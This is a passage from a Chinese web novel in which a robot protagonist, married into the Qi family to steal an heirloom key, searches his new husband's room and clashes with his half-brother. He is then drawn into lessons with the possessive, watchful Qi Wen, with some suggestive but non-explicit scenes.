除了一张宽大的床以外,只有密密麻麻的光从各处传来。 高低错落的金属烛台,头顶的吊灯,纯白的墙壁里面嵌入一个个灯泡,密集的亮着,将整个房间照亮如白昼。 而且极为安静,他甚至可以听见紧闭的窗户外的风声还有一种滴水声。 仿佛没有扭紧的水龙头。 “啪嗒,啪嗒,啪嗒。” 楚青琅下意识的蹙了下眉。 剧情只是说白月光身体虚弱,经常生病,还真的没有描写过他发病的模样。 因此楚青琅还以为只是简单的身体原因,例如感冒。 管家推开门口站在了一侧,“您可以看一眼,然后尽快回来,家主不喜欢外人进入。” 他犹豫了一下,又补充了一句。“就连越珩少爷,也没有来过这里。” 屋子中间的床铺是上方是吊起的轻纱,只能看见一个人安静的躺在那里沉睡。 但是楚青琅却只觉得那个病弱的白月光,像是一只休憩的猛兽,只要他踏入这间屋子,他就会被弄得,四分五裂。 这种莫名的危机感让他一步都不敢动。 直到一旁的管家唤了一声他的名字,楚青琅才回过神来。 他默默的后退了一步。 视线从那道身影上收回。 他说:“看起来祁温先生已经睡着了,我就在这里看一眼就行。” 他相信这种预感,之前的考核世界每次剧情人物即将ooc的时候,他都会有着不详的预感。 现在,为了不让剧情人物再次ooc的话,他觉得自己还是远离一下比较好。 他说:“看完了。” 楚青琅默默转身,向管家点了点头,脚步飞快的离开了这里。 身后。 “真警惕。” 脚步声远去后,嘶哑飘渺的嗓音幽幽响起,带着似有若无的笑意,却让管家马上弯下了腰。 * 楚青琅面无表情的加快步伐。 直到彻底远离那里,重新站在宽阔冷硬的大厅中,他心中的不安感才悄然消弭,楚青琅暗暗的松了一口气。 因为带他出来,管家打开了不少的灯光,虽然依然有着阴翳存在的地方,但是已经可以看清面前的道路了。 而且因为夜深,所以佣人已经休息,捣乱的越珩也在一楼,而管家还在那里没有回来。 这就相当于,这间城堡醒着的只有他一个人。 正好适合他完成妈妈给他布置的任务。 楚青琅顺着楼梯走向二楼。 趁着白月光不在房间,他正好可以搜查一下他的房间。 看看密钥放在了那里。 不会有人发现。 第49章 第 49 章 喜欢吗? 相比起给他安排的房间来说, 祁温的房间出乎意料的简洁。 没有柔软的地毯,就连装饰都是墨绿,黑褐这种更为沉重的颜色,幕帘紧闭, 墓地一样。 楚青琅放下右手, 裂开的皮肤重新合起, 将平整的屏幕关闭。 而这样严谨, 规整,毫无情趣的一个人, 必定对自己周身的东西都了如指掌。 因此,他不能随便的翻找。 楚青琅扫视一圈,暗暗记下所有东西的摆放位置,精确到毫米。 他并没有直接翻找抽屉,根据人类的心理来看, 越宝贵的东西就隐藏的越深,而密钥作为祁家的传家宝,绝对不会轻易的摆在一个外面。 这间屋子很有可能有着地下室。 楚青琅踩着地板, 倾听着声音, 试图找出一些不同寻常的地方。 在走到一旁的书柜时, 他小心的伸出手,将一本本包装精美的书籍拿出来查看翻阅。 时间一点一滴的过去, 无论是地面还是墙面书柜, 他都没有找到任何奇怪的地方。 不过楚青琅并不着急,这种事情一看就不是一朝一夕能够完成的。 只要他后面能够亲眼看到祁温办公的样子,就能知道他一般把真正珍视的东西摆放在那里了。 在书柜的一旁,正对着窗户,是一张巨大的黑色桌子, 被擦拭的油亮,上面摆放着一叠文件,铁艺制品,合上的笔,还有由肩膀截断的石膏人像。 楚青琅走过去,没有直接动,而是先蹲了下来,观察着那合紧的柜子上有没有什么防盗措施。 确认没有后,他伸出手扣着那金色的环,施力将其缓缓拉开,把手伸了进去。 顺滑的纸张,玻璃触感的像是相框,还有一些别的摸不出来的东西。 只是蜻蜓点水,并没有移动任何东西。 很快,他就将所有的柜子都翻找了一个遍。 柜子并未上锁,就像是彻底清理了一遍,没有留下丝毫生活的痕迹。 最终楚青琅还是拿起了桌子上的纸张翻看起来。 最上面是当日的报纸。 【祁家越家再次联姻,意欲再创辉煌?还是为了挽救日益颓败的现状?】 加粗浓黑的字体一瞬间吸引了他的注意力,一旁有着两张照片,一个是空白,而另一个,分明就是他的脸。 不过,两家的联姻被媒体关注是再正常不过的事情。 楚青琅正准备放下报纸,却突然感觉到不对,他眯了下眼,举起了报纸。 昏暗的环境中,黑亮眼眸传来机械转动的声音。 黑白相片将少年身上淡薄的人气全然祛除,更像是一张模糊的画,仔细瞧去,上面有着两道极为轻微的凹痕,一处在双眼,另一处,就在脖颈。 就好像在某天的夜晚,灯光笼罩下,房间的主人坐在桌子后,垂眸深深的凝望着他的脸。 不知怀着什么心思。 房间的主人伸出手,用坚硬的指甲,在少年的脸上留下了这种,轻微的,却让人毛骨悚然的痕迹。 楚青琅下意识的收拢了一下手,却在报纸上将出现褶皱时连忙松开了手。 他放下报纸,将其按照原来的样子摆放回去。 突然,不远处一道声音响起。 “抓住你了!你还真的是一天都等不及啊” 带着怒意的,讽刺的声音,从不知何时就站在门口的人嘴里吐出。 楚青琅抬头,却并没有丝毫的慌乱,他甚至露出了笑容。 “哥哥。” 平静的甚至让越珩产生了少年本来就应该在这里的错觉。 他晃了晃头,将这中离谱的想法甩开。 心中的怒火和得意被他冷淡的态度和那声哥哥一激,他仿佛被泼了盆凉水一般,口中还未出口的嘲讽直接被噎了一下。 少年的反应完全不像是他想象中的那样惊恐。 越珩大步走来,将地板踩的咚咚作响。来到桌子前,伸手,直接拽住了楚青琅的领子。 楚青琅按着桌子,下颌被骨节顶的微仰,仿佛不明白他为什么这么生气,一脸的迷茫。 越珩的脸色越来越难看,眉皱的死紧,“别一副无辜的样子!” 楚青琅伸手,握住他那紧绷的手腕,说:“哥哥怎么在这里?” 掌心中,那手腕火热,就仿佛他这个人一样,带着暴烈的脾气。 越珩冷笑一声凑近道:“谁给你的资格问我?我在这里住了多久,想去那里去那里!倒是你,鬼鬼祟祟的在这里想要干什么坏事?!” “走!跟我去见祁哥,我要让他看清楚你的真面目!” 楚青琅垂眼,越珩穿着蓝色的衬衣,黑色的长裤,在手肘和衣角处,带着一些不易察觉的草屑和潮湿,衣袖还有着一股玫瑰的香气。 是新鲜的。 在察觉到这一点后,楚青琅脑子里浮现了一条鲜明的行动轨迹。 他掀起眼皮,顺着越珩的手腕包裹住他的拳头。 “你很生气,尤其是祁温先生为了我而训斥你,所以你想要报复我,但是我在二楼,你应该是不被允许进入二楼的,所以当时管家看见你上去才会那么惊讶。” 楚青琅咬字清晰,慢慢道:“不过你压抑不住自己的怒火,所以向着城堡后面就是深潭,旁边应该是有蛇出没,所以管家会叮嘱每一位到来的客人,你去那里捉了蛇,带了过来,然后顺着城堡爬进了我的房间,却发现我不在屋子里面,所以你找了过来。” “如果我现在回去的话,那里应该还是有蛇的吧?”楚青琅说:“所以,你觉得经过白天的事情之后,我说我是因为害怕,所以来到了这里,你觉得祁温先生会相信谁?” 楚青琅缓缓将衣领上的手拉下,然后走到一旁的镜子前,看着那凌乱的衣领抿了抿唇。 这是妈妈给他挑选的衣服。 良久的沉默过去,越珩咬牙切齿的声音再次响起,“不过一个私生子,还敢威胁我——” “哥哥。”楚青琅打断他的话,放下手,转过身,看着一脸不服的越珩道:“你是我的哥哥,这是无可争辩的事实,你不用担心我会接近祁温先生,我们只是陌生人而已,今天祁温先生让你道歉也只是因为我现在的身份,并不是我有多么特殊。” 楚青琅很直接道:“我们拥有同一个母亲,我永远不会做伤害家人的事情,我不会和你争的,我不喜欢男人。” 越珩下意识道:“谁要和你争了?!不对,谁喜欢男人了?!” 楚青琅安静的瞧着他。 装,你就装吧。 剧情上都写清楚了,就算是仅供参考,但是他一进来就被刁难,那么越珩什么心思,还用他说吗? 而且他又不是疯了,怎么可能去和主角攻抢他的白月光。 剧情重要好不好,至于现在,还是先安抚一下还是暴脾气的主角攻吧。 免得后面又来找他的茬。 越珩看着那张真诚的双眼,愣在原地。 楚青琅直接转身走出了房门。 两边的壁灯拉长影子,眼前出现一个穿戴整齐的眼熟的人。 管家惊讶的走过来,“青琅少爷,您这是?” 楚青琅眨了下眼道:“我去找哥哥了。” 管家看了一眼他出来的方向,若有所思说:“那您怎么会从家主那边过来。” 楚青琅毫不心虚,“我在那里找到的哥哥。” 这下子,他的翻找行为就算是被祁温发现,也能够甩给越珩,谁让他给他的房间里扔蛇。 看着管家沉思的表情,楚青琅朝他告别,“我困了,先回去睡了,您也早点休息。” 管家连忙给他让路,“好的,祝您好梦。” 回到房间后,楚青琅开始找蛇。 桌子下,窗户旁边,窗帘底下,至少有着四五条。 等把最后一条蛇扔下去后,他抬手就把开启的窗户关了起来。 还算是越珩有些底线,找的蛇都被拔掉了毒牙。 看来真的只是吓一吓他。 不过他害怕的不是蛇,而是那些多腿多毛的,越珩算是找错动物了。 话说回来,越珩要真是人品那么低劣,奔着弄死他而来,天道怎么可能会选他做天命之子。 “哗啦——” 楚青琅拉上窗帘,将屋子里的灯关闭。 摸黑洗漱完后,他去一旁的换衣间换了一身的睡衣,随后平躺在了床上,闭上了眼。 * 第二天。 楚青琅睁开眼,深黑的瞳孔里面没有丝毫的睡意。 实际上他确实一夜未眠,毕竟他不需要休息。 他起身,将被子恢复成打开前的状态,正准备去洗漱,耳尖忽地动了下,随即转身来到了门外,打开了门。 外面站着一个抬手的女佣,正准备敲门,看见门打开了以后,露出了惊讶的神情。 她说:“少爷,早餐好了,您需要下去用餐吗?” 楚青琅摇了摇头。 昨天晚上他还能用没有胃口敷衍,但是他总不能一直没有胃口不吃饭。 这样非常的异常。 但是把饭菜端到屋子里面就好处理多了。 “好的少爷,稍等这边会将早餐端上来。” 女佣说完,转身离开。 楚青琅握着门把手,正准备关门,楼下却突然爆发出了一阵激烈的争吵声。 “见祁哥!” “别动我的东西!” 听起来像是越珩的声音。 楚青琅好奇的走到栏杆处,低头看去。 一楼大厅中,管家正表情严肃的对着越珩说话,在管家身后,是一排正抱着许多杂物的佣人。 “这就是家主的意思,越珩少爷,您为难我们也没有办法,车子已经为您准备好了。” 越珩面色越来越冷,他胸口起伏极大,脚下是被踹开的女佣以及散落一地的东西。 情况显然超出了他的预料,他还以为祁温昨天说的只是气话,没想到今天一睁眼,就要连东西带人被扫地出门了。 管家在一旁站着,女佣走下来,在他的耳边说话。 随后,管家抬头朝着二楼的方向看了一眼,然后,礼貌的弯了下腰。 楚青琅见状,下意识的抬手打了个招呼。 他恍然明悟。 原来女佣叫他下来吃饭,就是为了让他看到这一幕。 是为了给他出气吗? 不确定,再看看。 看见管家的举动,越珩也回身抬起了头,在那一瞬间,表情复杂极了,羞耻和被愚弄的怒火交杂,瞧起来,要将他碎尸万断的样子。 不过原身的结局也确实是被他杀死的,算是越珩最终完成了心愿。 楚青琅揉了一下指尖,回望过去。 管家站在一旁催促。 “如果您要留下来吃饭,祁家绝对是欢迎的,但是这边已经和您的母亲沟通好了,如果您不回去的话,您的母亲会亲自过来接您。” 越珩盯着他冷笑了一声,做出口型。 “骗子!等着我弄死你!” 随后转身大步离开了此地。 一旁取餐的女佣推着车子走来。 “青琅少爷,不知道您喜欢什么,我就都拿了一些。” 主角攻好像以为这件事情是他做的? 先是花言巧语稳住人,然后用主人的身份将其逼走 楚青琅收回视线,不再思考主角攻的看法。 看着那餐车上的食物,他第一次有些头皮发麻。 他现在无比的怀念魔藤。 如果魔藤跟过来的话,他绝对不会还要想着怎么消灭这些食物。 楚青琅瘫着脸,生无可恋的点了点头,转身走进了屋子。 女佣先是将紧闭的墨绿色的幕帘拉开,然后打开了窗户,最后将一份份色香味俱全的菜肴放到了桌子上。 “您慢用。” 关门声响起后,楚青琅坐在原地摊开手,他将储存的记忆提取出来,剪辑剪辑发给了女人。 虽然窃取密钥的结果一定是失败的,但是也要给外人显示出他积极完成任务的态度。 看着女人传送完成,他关闭了页面。 然后看着面前一看就很好吃的食物发呆。 他又不能吃,这些东西怎么办? 楚青琅无意识的揉搓着骨节,视线朝着窗外飘了过去。 湛蓝色的天空下是连绵的树林,近处是开的妖艳的玫瑰,被青绿色的草地包裹。 就在这时,一条淡黄色的蛇顺着窗户爬了进来。 楚青琅双眼一亮。 有办法了! * “叮铃玲——” 楚青琅摸着怀中懒洋洋的蛇按下召唤铃声。 据昨天管家所说这些铃声是直接通到下面的佣人房,只要按下去就会有人。 不一会儿,楚青琅就听见了脚步声,随后就是一声虽然极力压低但是依然带着恐惧的尖叫。 他抬头,将怀中吃饱的蛇头朝着桌子下面按了按。 “别害怕,他不咬人。” 女佣僵硬的站在原地,却一动也不敢动。 “怎么了?”管家走上前来,看着僵持的两人,有些许的疑惑。 女佣指着桌子旁垂落的尾巴,颤抖着嗓音说:“蛇,蛇。” 管家走来,没有了桌子的遮掩,一眼就瞧见了傻乎乎的抱着蛇的少年。 他顿时变了脸,低声道:“青琅少爷,您别动,我这就叫人!” 楚青琅倒是没想到他们的反应这么大。 “不用,他是我的宠物,叫小黄。” 他将小黄举起来,晃了晃。 蛇乖巧的缠绕再他的手臂上,头垂再修长白皙的指尖,嘶嘶的吐着信子。 红艳艳的信子舔舐着羊脂玉般的骨节,留下一道道湿漉漉的痕迹。 楚青琅有些不适的放下手,反手在它的鳞片上蹭了蹭。 精致少年和冰冷滑腻的蛇,组合起来格外诡异。 看着两人的互动,管家才确认他没有危险,心有余悸道:“青琅少爷,您是在那里碰见的这条蛇?蛇很多都是有毒的,您下次碰见了不要随便碰,很危险。” 楚青琅仰头说:“昨天,没事,我把毒牙拔掉了。” 说完他还试图撬开蛇嘴展示。 管家连忙制止,“不用,不用,但是这条蛇还是需要专门的饲养,稍后我会带来一些专业人员,来教您怎么养他好不好?” 楚青琅点了点头,手指不断的抚摸着蛇鳞片。 管家松了一口气,示意女佣过来收拾餐具。 “您是觉得无聊了吗?” 楚青琅手顿了一下,慢吞吞道:“没有。” 管家笑着又问:“您多大了?之前在那里上学?” 楚青琅根据记忆回答,“18,没有上学。” 确实。 管家回想起越家提供的资料。 青琅少爷是在福利院找到的,资源有限,全靠自己抢,而且看起来少年也不是喜欢争的肯定受了很多苦。 现在骤然过来这里,越珩少爷也不喜欢他,想必在越家过的也不好。 管家思绪转动,他说:“您跟我来。” 楚青琅顺从的站起来,这时已经有佣人将笼子提了过来,他就顺势将蛇放了进去。 出门之后,管家带着他朝着下了一楼,然后坐上电梯下了负一层。 门被缓缓打开。 出现在他眼前的是一间满是粉蓝色调的屋子,玩偶摆满了床铺,一角还有着电脑和虚拟游戏设施。 楚青琅走进去,面无表情拍了一下床铺上面的毛绒兔子。 好像拟态的系统。 兔子被拍落,从床铺滚落,被管家捡起。 “这些都是我们家主为您准备的,您无聊的时候可以在这里放松一下心情,累了也可以在这里直接休息。” 管家指了指另一个门,“那里是电影院,您有什么想看的都可以在里面看。” 他又递过来一个淡粉色的手机。 “这是最新款的手机,已经加上了家主的私人联系方式,如果您想要和家主聊天,可以点击这个头像。” 楚青琅察觉到异样,管家好像是把他当成了什么也不懂的小孩一般。 不过虽然他知道这些,却并没有表示拒绝,既然有手机了,他就更加可以正大光明的联系妈妈了。 楚青琅接过手机,点开了头像。 在全黑的背景上,放着一个红色线团,乍一看去,仿佛蜿蜒的鲜血一般。 他看了一会儿,忽然,祁温的对话框后面冒出了一个红点。 ——【喜欢吗?】 楚青琅打开页面正准备回复,下一条消息就发了过来。 ——【过来。】 抬眼。 管家交握着双手,道:“青琅少爷,家主的意思是亲自教您学习。祁家的夫人,总不能什么也不会,这样的话,家主带您出去的话,不太好。” 他话说的委婉。 但是楚青琅明白他的意思。 不就是他现在是一个孤儿院出生的人,还是一个文盲,所以需要调/教才能带出去,不然丢人。 第50章 第 50 章 过来。 越家。 越珩下车后大步流星将身后跟着的人甩开。 碎发下一张英气面孔满是阴霾。 一旁的佣人看见他气冲冲的回来, 连忙打开了门,随后小心的退到了一边。 换鞋的地方一桶棒球棍。 “刺啦”。 越珩伸手拽出来一根,金属相互摩擦,发出刺耳的声音。 手臂用力, 肌肉在衬衣下隆起。 一声哗啦巨响, 他将门口处的鱼缸敲碎。 水珠溅起, 落在那张煞气十足的面孔上, 增添了几分的阴郁。 踩着鱼儿和玻璃,他径直朝着楚青琅原本住的房间走去。 “砰!” 越珩腰背用力, 直接将门给踹了开来。 房间很小,对比起越家其他的房间来说,只有一个厕所大小。 越珩也是第一次来到这里,他左右环顾了一下。 倏然,攥着棒球棍的手背青筋暴起。 正对着窗户的一面墙上, 密密麻麻的全是祁温的照片。 侧面,正面,全身, 虽然很多都是重复的, 但是还是一眼都能让人看出这个房间的人到底是什么心思。 越珩冷笑一声, “蠢货!” 他拿起手机,将面前的景象拍下, 就准备发给祁哥。 但是, 在指尖按下去的时候,他却顿住了手。 像祁哥那么高傲的人,一定最不喜欢旁人如此意/淫他。 所以他一定会直接将楚青琅给扫地出门。 但是就算是他揭露了这件事,他也不会被祁哥看见,尤其是他还被赶出来了, 今后要去温德姆一定会更难! 他和祁哥可是一起长大,除了他别人都没有这个资格去温德姆,而且母亲一直让他和祁哥打好关系,现在竟然被一个私生子逼走,让他怎么和母亲交代,简直奇耻大辱! 眼前闪过那张宛如bjd娃娃一样的面孔。 越珩的脑袋中顿时浮现出一个恶劣的想法。 不过那个私生子在哪里,不就是一个很好的理由吗? 他们可是兄弟。 所以他去找他的兄弟玩耍,谁也说不了什么。 更何况,这些证据在手,那个私生子,一定会对他服服帖帖的。 他被羞辱的仇,不还是想报就报! 他掂了掂手中的棒球棍,微微垂头,肩膀带着手臂转动,寒光闪过。 “轰!” 墙面被砸出一个大洞。 呼了一口气后,棒球棍被随手扔到一旁。 越珩捋起发,咧开嘴,眉骨下眼窝极深,显得他整个人异常的邪气。 此时,他真诚的希望那个私生子经得起玩。 * “就是这里了,您进去吧。” 楚青琅点了点头,随后他伸手推开了门。 城堡内部虽然灯光充足但是采光并不是很好,所以总有着一种阴冷的感觉。 但是此时展现在他面前的,却是一处阳光充沛的屋子。 玻璃组成了墙面,中间用着白色的木条作为装饰,实木色的地板干净明亮,四面放着各种画作,都用着白布罩起。 还有雕塑,乐器,以及满墙的书本。 正对着他,在三四处台阶后,有着一张宽大的棕色桌子,桌子后的人脊背挺直的坐着。 身体全然浸润在阳光中,面容模糊不清,只能看见放在桌面上的一只手。 苍白的,骨节分明的手中,握着黑色的长条状的东西。 “过来。” 低哑短促的声音响起。 文字和真实听到的话果然不一样。 楚青琅莫名觉得他异常的迫不及待,还带着粘稠的兴奋。 可能是错觉。 毕竟他看不清楚祁温的表情,也就无法分析出他的真实想法。 他走上去,坐在了对面的椅子上。 少年破开阳光而来,头发这次乖巧的贴在两边,没有翘起,窄瘦的鼻梁下是饱满的唇,放在桌子上的手骨节弯曲,带着自然的红晕。 透亮黑眸里面满是专注与信任。 仿佛在无声告诉别人。 对我做什么都可以,我很乖,我很听话。 男人眯了下眼,摩挲了一下手中的东西,反手将手中握着的东西放下。 带着横纹的木条敲在桌面上,发出轻微的“咚”的一声。 楚青琅不由得被它吸引。 祁温拿起纸笔,垂眸写字。 “知道那是什么吗?” 莫名的压迫感让楚青琅将手从桌子上收回,他摇了摇头,又迟疑道:“是戒尺吗?” 祁温衣袖随着动作发出轻微的摩擦声,他将纸张推了过去。 抬眼,苍白病态的面容竟然挂上了一抹淡笑。 “对,所以后面要听话,知道吗?来,选选你要学的。” 白色的纸张上,笔画锋利,沉重,带着几乎穿透纸面的力道。 【画画,乐器,舞蹈】 白月光列举了许多,但是上面的选项完全不像楚青琅想的那样,和学习有关。 “管家说,我过来是要学习知识。” 楚青琅将纸张推回去。 祁温按在纸面上,两人指尖相接,一骨骼明显,一皮肉莹润。 感受着那似有若无的冰冷触感,还有凝在上面的目光,楚青琅不由得慢了半拍,才收回了手。 他像是想到了自己的身份,又慢慢开口。 “您安排就好。” 祁温收回手,并不意外的样子,“那就都试试。至于学习并不需要,你是我的妻子,不用管旁人如何看你。” 他话语中,带着掩饰不住的凉意,又说:“如果听见了,可以直接动手。祁家还是有些家底的。” 不是,这是一个白月光能说出来的话吗? 还是对他一个棋子来说的? 楚青琅震惊抬眸,“先生,您没有必要这样。” 两人相敬如宾就行。 “我是一个看重家庭的人,既然你占了这个名头,无论什么原因,你就是我的妻子。” 祁温将纸张折起,指甲末端泛青。 “还有,叫我的名字。” 楚青琅抿唇,没有说话。 祁温没有在意再次被拒绝,他拿着戒尺站起。 身上是一水的白,也许就是这种和阳光相同的颜色,之前才让楚青琅看不清他。 “今天先学画画,明天是乐器,然后是舞蹈。”他从桌子后走来,按住楚青琅的肩膀,“舞蹈的话,需要专业的舞蹈服,来站起来,我帮你量一下。” 在他靠近的瞬间,一股冰冷的血腥气将楚青琅完全笼罩,还有一股诡异的甜蜜。 像是花香。 楚青琅顺从的起身,一旁的房门打开,佣人捧着软尺走来。 祁温用戒尺挑起他的手臂,看着佣人慢慢解开少年的衣服扣子,将他身上的衣服褪了下来。 动作间,谨慎的没有触碰到少年丝毫。 少年体型不像成年男人那样粗壮,他肩膀平直,腰肢纤瘦,肚脐都是可爱的竖圆型,是带着单薄的美好。 后退到一旁的佣人深深的垂着头。 祁温神情不变,自如的拿起软尺测量起来。 楚青琅的感官并未拉满,所以对于身上的动作反应并不敏感。 只觉得冷。 就像是一片片的雪花落在肩膀上,脖颈处,腰侧,密密麻麻的,将皮肤全然覆盖。 渐渐的,他竟然觉得自己也被那无形的血腥气渗透。 是比被藤蔓缠绕时,更令人难以忍受的感觉,灵魂都仿佛被侵/犯。 但是祁温却只是认真的,严谨克制的测量,使得他连拒绝的话都说不出口。 楚青琅不适应的曲了下指尖,后仰了一下身子想要喘口气。 “啪!” 短促的凉意从腰腹传来。 楚青琅瞬间僵硬了动作。 是面前的人察觉到,拿起戒尺轻拍了一下他的腰腹。 只是警告,连痛意都没有。 但是白皙的腹部还是泛起了一圈的薄粉,因为本能收缩的肌肉颤抖着。 楚青琅头皮后颈都紧绷起来,他压低声音,“先生。” 祁温抬头。 此时他正蹲着身子,隔着衣服攥着少年的脚腕,另一只手中是带着刻度的标尺。 从上向下瞧去,男人眼睫浓密,鼻梁很挺,只是两颊的肉过于削薄,唇也是,便显出浓烈的冷酷和不近人情来。 对上那浓黑的眼眸。 楚青琅只能沉默。 他没有说话,祁温便又低下了头,平静的测量着。 瞳孔中的雾气被凭空生出的火焰寸寸灼烧。 在上上下下量了一边后,祁温收回了软尺,站起身,他的唇愈发的白了起来,神情带着些许的恍惚。 缓了一会儿,他看着楚青琅说:“你很适合粉色。” 粉色? 楚青琅还保持着双臂打开的姿势,脑袋已经宕机了。 祁温却并没有解释的意思,将软尺递给一旁记录的佣人,转身,朝着画架那边走去。 “来。” 刚刚的温和如泡沫般消散,只是眨眼间,走出了阳光笼罩的范围后,祁温又恢复成了克制冷漠的模样。 佣人后退离开。 楚青琅抬手将衣服重新穿好。 莫名的,他总觉得自己被占便宜了? 错觉吗? 但是祁温并没有像兆歧或者厉屿那样对他啊? 除了一开始的指尖碰触,剩下的就算是量身体和警告,也只是隔着那个软尺和木条。 楚青琅思索了一下,觉得还是自己想多了。 * 画纸被平铺在画架上。 祁温神色端正的坐那里,白色的毛衣针脚细密,v型领口露出细长的锁骨。 明明第一次见面白月光还是穿的严严实实的。 现在这样,不怕生病吗? 楚青琅瞅了一眼,疑惑的收回视线,搬了一旁摆放的圆凳坐在了一旁。 少年双手松松握拳放在膝盖上,脊背挺直,唇微抿,神情严肃,一副好好学生的模样。 真可爱。 想捏死。 祁温缓缓吐了一口气,克制的捏了捏腕部,感受着指尖细密的刺痛,他的神经却条件反射的传递出愉悦亢奋的情绪。 他伸出手,直接将人拉了过来,困在了怀中。 看着楚青琅白皙后颈上细密的鸡皮疙瘩,他翘起了唇,声音却还是一如既往的平静无波。 “先教你画一个简单的东西。” 无形的气场将他彻底包围,楚青琅下颌绷紧,如临大敌的点了点头。 肩膀处越过来一只手,细软的毛毛蹭在面颊上,带来阵阵的瘙痒。 楚青琅偏了偏头,却被钳制着下巴扭了回来。 身后是祁温冷淡的嗓音,“认真看。” 画笔在画布上辗转移动,很快就勾勒出了一只动物的形状。 楚青琅分辨了一下,“兔子?” 胖嘟嘟的兔子,耳朵后背,三瓣嘴上面一双眼睛明亮无辜。 身后的人好像靠近了一点,手腕朝着前方伸了伸,笔尖缓缓放慢了速度,让他瞧的更加清晰起来,距离的压迫将两人之间的空气彻底挤压出去。 但是两人并没有碰到。 无论是肌肤,还是衣服。 只是那无形的侵略性太强,哪怕只是露出了一节苍白小臂,却仿佛是把一把刀放到了楚青琅的脖子上。 他下意识放缓了呼吸。 “为什么是兔子?” “我小时候养过一只兔子,它的毛是白色的,皮肉很软也很暖和,很会撒娇,捧在手中会融化成一滩。” 身后的人回答,呼吸浅淡,却带着凉气钻进骨缝。 “但是当我回来的时候,我父母已经把它杀死了,血液涂抹在一间黑屋子里,那里很冷,几乎结了冰。我如果做错事情,就经常被关进里面。” “我当时发了脾气,然后被父母用被不敬长辈,沉迷无用之物,过于软弱关了进去。” “三天,没有食物和水,只有被剥开的兔子陪着我。” 楚青琅看着上面的兔子被填上骨骼肌肉。 带着仿佛解刨千百遍,早已摸清所有皮肉骨骼走向的熟悉。 但是为什么给他说这些事情? 感受到他的疑惑,祁温说出了自己的目的,“作为交换,我们互相讲一件关于自己的事情,我们需要互相了解。” 那修长苍白的手摊开,将笔交给他。 楚青琅说:“妈妈已经将我的资料给您了。” 他相信,为了取信祁温,女人绝对会将所有的事情做的极为详细,但是她并没有把那些资料传给他啊! 这让他说什么? 他自己的记忆还没有找回来呢。 就算是察觉到他拒绝的意思。 身后的人也只是冷冰冰的吐出两个字。 “不够。” 长久的沉默中,男人并没有催促。 对于自己看中的猎物。 他拥有着超乎想象的耐心。 更何况,这是自成年后,他第一次碰见如此符合心意的人。 这次没有人能够夺走他的东西。 最终,楚青琅还是接过笔,笨拙的在纸张上画了起来。 身后的人不再出声。 楚青琅仿照着他先前的顺序,先画了轮廓,缓缓填充血肉。 开始胡言乱语。 “我小时候是在孤儿院,经常吃不饱。” 那轮廓是一根细长的藤蔓,上面长着一些花朵。 “又一次,我偶尔找到了这个东西,上面的花可以吃,我就偷偷摘下来做备用粮。” “后面被人发现,就被抢走了。” 笔尖停住。 苍白大手覆上温热手背。 身后的人凑近,在他的耳边说:“继续。” 楚青琅松开手,任由笔在手中落下。 “先生,您说了,一次换一次。” 他侧头,盯着祁温严肃声明。 男人明明是冰冷的,瞳孔却带着火焰般灼热的温度,燎在面上,带着刺痛。 楚青琅却没有后退的意思。 “嗯。” 祁温从咽喉挤出回应,他垂下眼眸,主动放开他的手,站了起来。 “那我期待着明天。” 他站在门口,佣人将轮椅推来,他却只是扶着门回身。 “明天会有家教过来,还有,喜欢那个房间吗?” 楚青琅放下笔,仰头望他。 “喜欢,谢谢先生。” 祁温好似笑了一下,点点愉悦却很快于面上消散。 “里面还有很多小玩意,去找找吧。” * 不对劲。 这个白月光不对劲。 楚青琅搂着一个猫咪玩偶坐在粉蓝海洋的床上沉思。 这个白月光对他上心太多了,楚青琅掰着手指头算了一下。 为他赶走越珩,给他衣服,还有这个明显是他来之前就装修好的房间,以及手机,关心他的学业,还有教导他画画…… 这么周全。 不知道的还以为祁温是他爹。 楚青琅坐了一会儿,起身开始翻找起来。 柔软的被子上盖着毛茸茸的毯子,下面铺着一些漫画小说。 楚青琅拿起一本,又很快合上。 男女动作18/禁。 呼之欲出的胸/脯和瘦瘦的腰肢被几根纤细的带子遮住。 男人也是相同。 楚青琅迅速移开眼睛,耳根倏然染上一片红晕。 他重新将其塞回去,伸手压了压,用毛毯完全挡住。 在房间中坐立不安的转悠了一圈后,他选择打开电脑。 没准白月光说的小玩意是游戏。 那些只是误会。 屏幕上出现密码。 就在楚青琅犹豫的时候,手机突兀的响起消息到来提示音。 【密码:chuchu521】 楚青琅盯着最后的几个数字看了看,还是按着输入了密码。 电脑开启,上面已经下载好了几个游戏。 楚青琅点开。 几个形貌各异的男人迅速跳了出来。 穿的不比比基尼美女多,甚至于他们四肢交缠,递过来的视线带着暧/昧挑/逗。 起伏交叠的喘/息声,一瞬间充斥在这间房屋。 他耳根的红晕迅速向着脖颈蔓延,连忙拿起手机拨打祁温的电话。 那边好似等待已久,很快就接通。 楚青琅声音冷下,“祁先生,你这是什么意思?” 清越的少年嗓音经过电子信号的模糊,变得朦胧勾人。 祁温坐在沙发上,双腿交叠,盯着面前监控器里显示的少年,一如既往的冷淡。 “你现在正在青春期,这种适度的放松是有必要的,且对身体好。” “因为我个人原因,无法为你解决需求,所以暂时准备了这些。” 因为他的话,楚青琅下意识的回想起那些彩绘书籍,面前的影像依然在放着…… “喜爱女性还是男性?” 他张了张嘴,却什么都没有说出来,只是后退了一步,肩背紧绷。 “咔哒。” 脸越来越红的楚青琅听见一阵黏/腻水声。 但是只是遥远的,并不清晰。 他缓过神皱眉,正准备开口反驳,祁温的声音就又传了过来。 “还是说,需要我找别人帮你?” 瞬间被打断了思绪。 楚青琅咬牙,眼尾都带着羞耻的红晕。 “先生,你有点道德观念好吗?那不叫找/人,那叫出/轨。” 祁温声线在升高,虽然在道歉,但是依然漫不经心。 “抱歉,我查阅了些资料,以为青春期的少年总是喜欢这些事情的。” 普通青少年或许喜欢,脑子里也全是那种事。 但是他是一个机器人,根本不会被欲望控制。 不过谁让他的外表是人类少年呢,白月光这样想也不错。 楚青琅瞬间明白了。 这估计也是白月光的强迫症作祟。 一切都要做到完美。 所以才会了解他,帮助他。 为的就是给他划出线来,让他不要逾越,也不要凭借身份得寸进尺。 楚青琅冷静下来,伸手关闭游戏。 游戏音效戛然而止。 “先生,我不需要这些,也不要找人。总之,我会自己解决的,谢谢您的关心。” 空旷的房间中,少年清正澄澈的声线徐徐飘来。 某种压抑已久的低劣欲/望,在其偏头摸索着关闭电脑,露出那张强作镇定的脸时到达巅峰。 不经意凝来的黑漆漆的眼瞳如玻璃珠。 微张着嘴。 带着懵懂的真挚羞恼。 呼—— 楚青琅安静的等待着回应,但是那边却长久的失去声音。 门口传来敲门声,随后是管家的声音。 